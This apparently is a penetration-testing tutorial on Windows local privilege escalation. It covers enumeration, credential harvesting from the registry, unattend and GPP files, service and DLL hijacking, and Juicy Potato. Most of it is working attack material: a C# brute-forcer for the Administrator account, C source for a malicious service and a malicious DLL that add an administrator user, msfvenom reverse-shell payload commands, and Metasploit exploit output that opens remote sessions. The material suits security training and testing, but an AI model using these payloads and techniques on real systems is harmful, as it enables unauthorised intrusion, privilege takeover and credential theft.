Privilege escalation is the act of exploiting security vulnerabilities, or system configuration mistakes to gain administrative access to computer system.
A number of privilege escalation techniques are covered in this article, including:
- Basic Enumeration
- Automated Enumeration
- Local Administrator Account Brute Force
- Exploiting OS Vulnerabilities
- WinLogon Saved Credentials
- Unattend Files
- Stored User Credentials
- Always Install Elevated
- Insecure Autorun Permissions
- Insecure Service Executable Permissions
- Insecure Service BinPath Permissions
- Unquoted Service Paths
- DLL Hijacking
- Juicy Potato Attacks
- Group Policy Preference Files
Basic Enumeration
The following commands are useful to gain some initial information about the system being targeted:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | # System info systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" # List patches wmic qfe # List installed applications wmic product get name,version # Get disks wmic logicaldisk get caption,description # User enumeration whoami /priv whoami /groups net users net localgroup # Network enumeration ipconfig route print arp -a # Finding passwords findstr /si password *.txt *.ini *.config reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s # Services sc query | findstr /B /C:"SERVICE_NAME" /C:"DISPLAY_NAME" # Firewall Configuration netsh advfirewall firewall dump netsh firewall show state netsh firewall show config |
Automated Enumeration
The following tools can be useful to speed up enumeration of common issues:
Tool | Notes | URL |
PowerUp | PowerShell script. Can exploit a number of conditions. | https://github.com/PowerShellMafia/PowerSploit/ |
WinPEAS | The binary version relies on the .NET framework, and as such may not run on older versions of Windows. A batch file version is also available. | https://github.com/carlospolop/PEASS-ng/ |
JAWS | PowerShell script. | https://github.com/411Hall/JAWS |
Local Administrator Account Brute Force
By default, the local administrator account cannot be locked out by incorrectly guessing it’s password. The below code attempts to brute force the local Administrator account using a password list:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | using System; using System.Collections.Generic; using System.DirectoryServices.AccountManagement; using System.IO; namespace BruteForce { internal class Program { static void Main( string [] args) { var passwordFile = File.ReadAllLines( @"C:\passwords.txt" ); var passwordList = new List< string >(passwordFile); PrincipalContext localAdministrator = new PrincipalContext(ContextType.Machine, null ); int attemptCount = 0; foreach ( var password in passwordList) { attemptCount++; bool PasswordValid = localAdministrator.ValidateCredentials( "Administrator" , password); if (PasswordValid == true ) { Console.WriteLine(DateTime.Now.ToString( "HH:mm:ss tt" ) + " attempt: " + attemptCount.ToString() + " Password Correct: " + password); Console.ReadKey(); break ; } else { Console.WriteLine(DateTime.Now.ToString( "HH:mm:ss tt" ) + " attempt: " + attemptCount.ToString() + " Password Incorrect: " + password); } } Console.ReadKey(); } } } |
Obviously, if any type of security monitoring is in place this will likely be detected. It can however be useful on isolated workgroup machines. Below shows the programs output:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | 20:23:10 PM attempt: 21556 Password Incorrect: isis 20:23:10 PM attempt: 21557 Password Incorrect: T7U9Hx 20:23:10 PM attempt: 21558 Password Incorrect: tito 20:23:10 PM attempt: 21559 Password Incorrect: polinka 20:23:10 PM attempt: 21560 Password Incorrect: m1ul9x9i20 20:23:11 PM attempt: 21561 Password Incorrect: signature 20:23:11 PM attempt: 21562 Password Incorrect: .ktymrf 20:23:11 PM attempt: 21563 Password Incorrect: 120788 20:23:11 PM attempt: 21564 Password Incorrect: graces 20:23:11 PM attempt: 21565 Password Incorrect: anisha 20:23:11 PM attempt: 21566 Password Incorrect: alizee 20:23:11 PM attempt: 21567 Password Incorrect: mother4 20:23:11 PM attempt: 21568 Password Incorrect: 5610405 20:23:11 PM attempt: 21569 Password Incorrect: m0nster 20:23:11 PM attempt: 21570 Password Incorrect: panpan 20:23:11 PM attempt: 21571 Password Incorrect: 686611 20:23:13 PM attempt: 21572 Password Correct: Password12 |
Operating System Vulnerabilities
Metasploit can be used to determine vulnerabilities based on missing operating system patches:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | meterpreter > run post/multi/recon/local_exploit_suggester [*] 10.10.10.5 - Collecting local exploits for x86/windows... [*] 10.10.10.5 - 40 exploit checks are being tried... [+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated. [+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated. [+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated. [+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated. [+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. |
Alternatively, if Metasploit is not an option WESNG an be used. Just run systeminfo on the target host and copy the output to a file called sysinfo.txt, then run WESNG against it.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | git clone https://github.com/bitsadmin/wesng --depth 1 python3 wes.py --update python3 wes.py sysinfo.txt Windows Exploit Suggester 1.03 ( https://github.com/bitsadmin/wesng/ ) [+] Parsing systeminfo output [+] Operating System - Name: Windows 10 Version 1511 for x64-based Systems - Generation: 10 - Build: 10586 - Version: 1511 - Architecture: x64-based - Installed hotfixes (10): KB3150513, KB3161102, KB3172729, KB3173428, KB4021702, KB4022633, KB4033631, KB4035632, KB4051613, KB4041689 [+] Loading definitions - Creation date of definitions: 20220616 [+] Determining missing patches [!] Found vulnerabilities! Date: 20161213 CVE: CVE-2016-7295 KB: KB3205386 Title: Security Update for Common Log File System Driver Affected product: Windows 10 Version 1511 for x64-based Systems Affected component: Severity: Important Impact: Information Disclosure Exploit: n/a Date: 20161213 CVE: CVE-2016-7258 KB: KB3205386 Title: Security Update for Windows Kernel Affected product: Windows 10 Version 1511 for x64-based Systems Affected component: Severity: Important Impact: Information Disclosure Exploit: n/a |
WinLogon Saved Credentials
If a user account is automatically set to logon, it may be possible to extract their credentials from the registry:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | reg query "HKLM\SOFTWARE\Microsoft\Windows NT"\CurrentVersion\Winlogon" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ReportBootOk REG_SZ 1 Shell REG_SZ explorer.exe PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16} Userinit REG_SZ C:\Windows\system32\userinit.exe, VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile AutoRestartShell REG_DWORD 0x1 Background REG_SZ 0 0 0 CachedLogonsCount REG_SZ 10 DebugServerCommand REG_SZ no ForceUnlockLogon REG_DWORD 0x0 LegalNoticeCaption REG_SZ LegalNoticeText REG_SZ PasswordExpiryWarning REG_DWORD 0x5 PowerdownAfterShutdown REG_SZ 0 ShutdownWithoutLogon REG_SZ 0 WinStationsDisabled REG_SZ 0 DisableCAD REG_DWORD 0x1 scremoveoption REG_SZ 0 ShutdownFlags REG_DWORD 0x11 DefaultDomainName REG_SZ DefaultUserName REG_SZ Tom AutoAdminLogon REG_SZ 1 DefaultPassword REG_SZ Password1! |
Unattend Files
Answer files, also known as “Unattend files” are used to configure Windows when it’s being installed.
They commonly reside in the following locations, and may contain local administrator credentials:
1 2 3 4 | C:\Windows\Panther\unattend.xml C:\sysprep.inf C:\sysprep\sysprep.xml C:\unattend.xml |
The file contents can be parsed using Metasploit to find credentials:
1 2 3 4 5 6 7 8 9 10 11 | msf6 post(windows/gather/enum_unattend) > run [*] Reading C:\Windows\panther\unattend.xml Unattend Credentials ==================== Type Domain Username Password Groups ---- ------ -------- -------- ------ auto Admin password123 [*] Post module execution completed |
Alternatively, the files can be manually parsed:
1 2 3 4 5 6 7 8 9 | type C:\Windows\panther\unattend.xml <AutoLogon> <Password> <Value>cGFzc3dvcmQxMjM=</Value> <PlainText>false</PlainText> </Password> <Enabled>true</Enabled> <Username>Admin</Username> </AutoLogon> |
The password field is Base64 encoded:
1 2 | echo cGFzc3dvcmQxMjM= | base64 -d password123 |
Stored User Credentials
The cmdkey command allows listing of stored credentials:
1 2 3 4 5 6 | cmdkey /list Currently stored credentials: Target: Domain:interactive=BORDERGATE\Administrator Type: Domain Password User: BORDERGATE\Administrator |
Using runas with the savecred command, we can execute code in the context of the cached credential:
1 | runas /user:BORDERGATE\Administrator /savecred "C:\Users\user\shell-x64.exe" |
Always Installed Elevated
The AlwaysInstallElevated setting allows users to run .MSI installer files on a system without requiring administrative permissions. The setting can be enumerated using the following reg query commands:
1 2 3 4 5 6 | reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0x1 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0x1 |
The setting can be exploited by creating an MSFVenom MSI payload and running it on the host:
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=tun0 lport=6666 -f msi -o setup.msi |
A Metasploit post module is also available to exploit this condition: exploit/windows/local/always_install_elevated
Insecure Autorun Permissions
Insecure Autoruns can be enumerated using Sysinternals autoruns. Alternatively, PowerUp can be used to identify these vulnerabilities:
1 2 3 4 5 6 7 8 | powershell -ep bypass Import-Module .\PowerUp.ps1 Invoke-AllChecks [*] Checking for modifidable registry autoruns and configs… Key : HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\My Program Path : "C:\Program Files\Autorun Program\program.exe" ModifiableFile : @{Permissions=System.Object[]; ModifiablePath=C:\Program Files \Autorun Program\program.exe; IdentityReference=Everyone} |
Generating a Meterpreter payload with the same name and placing it in the location identified should work:
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=666 -f exe -o program.exe |
Insecure Service Executable Permissions
If you have access to overwrite a service binary, you can swap out the executable with a malicious payload.
The below code can be used for a malicious service executable:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 | #include <windows.h> #include <stdio.h> #define SLEEP_TIME 5000 SERVICE_STATUS ServiceStatus; SERVICE_STATUS_HANDLE hStatus; void ServiceMain( int argc, char ** argv); void ControlHandler( DWORD request); //add the payload here int Run() { system ( "cmd.exe /k net user localadmin Password1 /add" ); system ( "cmd.exe /k net localgroup administrators localadmin /add" ); return 0; } int main() { SERVICE_TABLE_ENTRY ServiceTable[2]; ServiceTable[0].lpServiceName = "MyService" ; ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; ServiceTable[1].lpServiceName = NULL; ServiceTable[1].lpServiceProc = NULL; StartServiceCtrlDispatcher(ServiceTable); return 0; } void ServiceMain( int argc, char ** argv) { ServiceStatus.dwServiceType = SERVICE_WIN32; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; hStatus = RegisterServiceCtrlHandler( "MyService" , (LPHANDLER_FUNCTION)ControlHandler); Run(); ServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus (hStatus, &ServiceStatus); while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) { Sleep(SLEEP_TIME); } return ; } void ControlHandler( DWORD request) { switch (request) { case SERVICE_CONTROL_STOP: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (hStatus, &ServiceStatus); return ; case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (hStatus, &ServiceStatus); return ; default : break ; } SetServiceStatus (hStatus, &ServiceStatus); return ; } |
Compile with:
1 | x86_64-w64-mingw32-gcc windows_service.c -o service.exe |
Insecure Service BinPath Permissions
If you have permissions to reconfigure a service, you may be able to get it to run a command of your choosing. This misconfiguration can be seen in PowerUp;
1 2 3 4 5 6 7 8 9 10 | powershell -ep bypass Import-Module .\PowerUp.ps1 Invoke-AllChecks [*] Checking service permissions... ServiceName : daclsvc Path : "C:\Program Files\DACL Service\daclservice.exe" StartName : LocalSystem AbuseFunction : Invoke-ServiceAbuse -Name 'daclsvc' CanRestart : True |
To exploit this condition, we can use the service control executable to change the binpath to any command we wish to execute:
1 2 3 4 5 6 7 | C:\Users\user\Desktop\Tools\PowerUp>sc config svc1 binpath= "net user user1 Password1 /add" [SC] ChangeServiceConfig SUCCESS C:\Users\user\Desktop\Tools\PowerUp>sc start svc1 [SC] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion. |
Although the service will report it was unable to start correctly, the command specified will run.
Unquoted Service Paths
If services names are not enclosed in quotes, and include spaces the operating system will traverse the filesystem looking for the appropriate executable. For instance, the following service as seen in PowerUp output is unquoted;
1 2 3 4 5 6 | ServiceName : unquotedsvc Path : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users} StartName : LocalSystem AbuseFunction : Write-ServiceBinary -Name 'unquotedsvc' -Path <HijackPath> CanRestart : True |
Windows is unable to determine what parts of the path specified point to the executable, and what are arguments to be supplied to executable. So, in this examples the operating system is unable to determine “Common Files” is a directory, or if “Common.exe” should be called with the argument of “Files”.
If we can place a malicious executable in this path, and we are able to restart the service we may be able to elevate privileges.
Outputting a Meterpreter executable to C:\Program Files\Unquoted Path Service\common.exe and starting the service will result in code execution.
The Metasploit module exploit/windows/local/unquoted_service_path can also be used.
DLL Hijacking
If an application tries to load a DLL which is not in it’s current directory, Windows will search for the library.
We can use SysInternals ProcessExplorer to determine if an application is susceptible to DLL hijacking. Launch SysInternals ProcessMonitor and set a filter for result “NAME NOT FOUND”.

Next, add a filter for “.dll”

With the filter in place, you should be able to see if applications are attempting to load non existent DLL’s.

For privilege escalation, two conditions are required for this to work;
- The application searching for a non-existent DLL must be running in a higher privilege level than the user we currently reside in.
- We must be able to write to a folder within the DLL search path.
The following code can be used to create a malicious DLL:
1 2 3 4 5 6 7 8 9 10 | #include <windows.h> BOOL WINAPI DllMain ( HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { if (dwReason == DLL_PROCESS_ATTACH) { system ( "cmd.exe /k net user localadmin Password1 /add" ); system ( "cmd.exe /k net localgroup administrators localadmin /add" ); ExitProcess(0); } return TRUE; } |
Compile with:
1 | x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijack.dll |
Juicy Potato Attacks
If SeImpersonate or SeAssignPrimaryToken are assigned, we can launch a JuicyPotato attack. These privileges are typically assigned to IIS and SQL Server service accounts.
Juicy Potato works on Windows 2016 and below.
Privileges can be checked using whoami:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled |
Metasploit can be used to retrieve the same information with the getprivs command:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | meterpreter > getprivs Enabled Process Privileges ========================== Name ---- SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeIncreaseWorkingSetPrivilege SeShutdownPrivilege SeTimeZonePrivilege SeUndockPrivilege |
The attack can be launched using the ms16_075_reflection_juicy module:
1 2 3 4 5 6 7 8 9 10 11 12 13 | msf6 exploit(windows/local/ms16_075_reflection_juicy) > run [*] Started reverse TCP handler on 10.10.14.9:1111 [+] Target appears to be vulnerable (Windows 10 (10.0 Build 10586).) [*] Launching notepad to host the exploit... [+] Process 2484 launched. [*] Reflectively injecting the exploit DLL into 2484... [*] Injecting exploit into 2484... [*] Exploit injected. Injecting exploit configuration into 2484... [*] Configuration injected. Executing exploit... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Sending stage (175174 bytes) to 10.10.10.63 [*] Meterpreter session 2 opened (10.10.14.9:1111 -> 10.10.10.63:49807 ) at 2022-06-25 11:07:39 +0100 |
Group Policy Preference Files
Prior to MS14-025 Group Policy Preference files could be used to deploy new local administrators to a system. The prefence files are encrypted using AES-256, but Microsoft accidentally published the key
The preference files are typically stored in the SYSVOL folder of a domain controller, but may be cached on an endpoint under C:\ProgramData\Microsoft\Group Policy\history:
1 2 3 4 5 6 | Groups.xml Services.xml Scheduledtasks.xml DataSources.xml Printers.xml Drives.xml |
Encrypted strings in the file can be decrypted using gpp-decrypt:
1 2 | gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw Local*P4ssword! |
The Metasploit module post/windows/gather/credentials/gpp can also perform this task.
Final Thoughts
This post has covered a number of common privilege escalation techniques, but is by no means comprehensive.
Third party applications provide the largest source of privilege escalation opportunities so it’s always worth exploring additional applications installed, particularly if they are bespoke to the target organisation.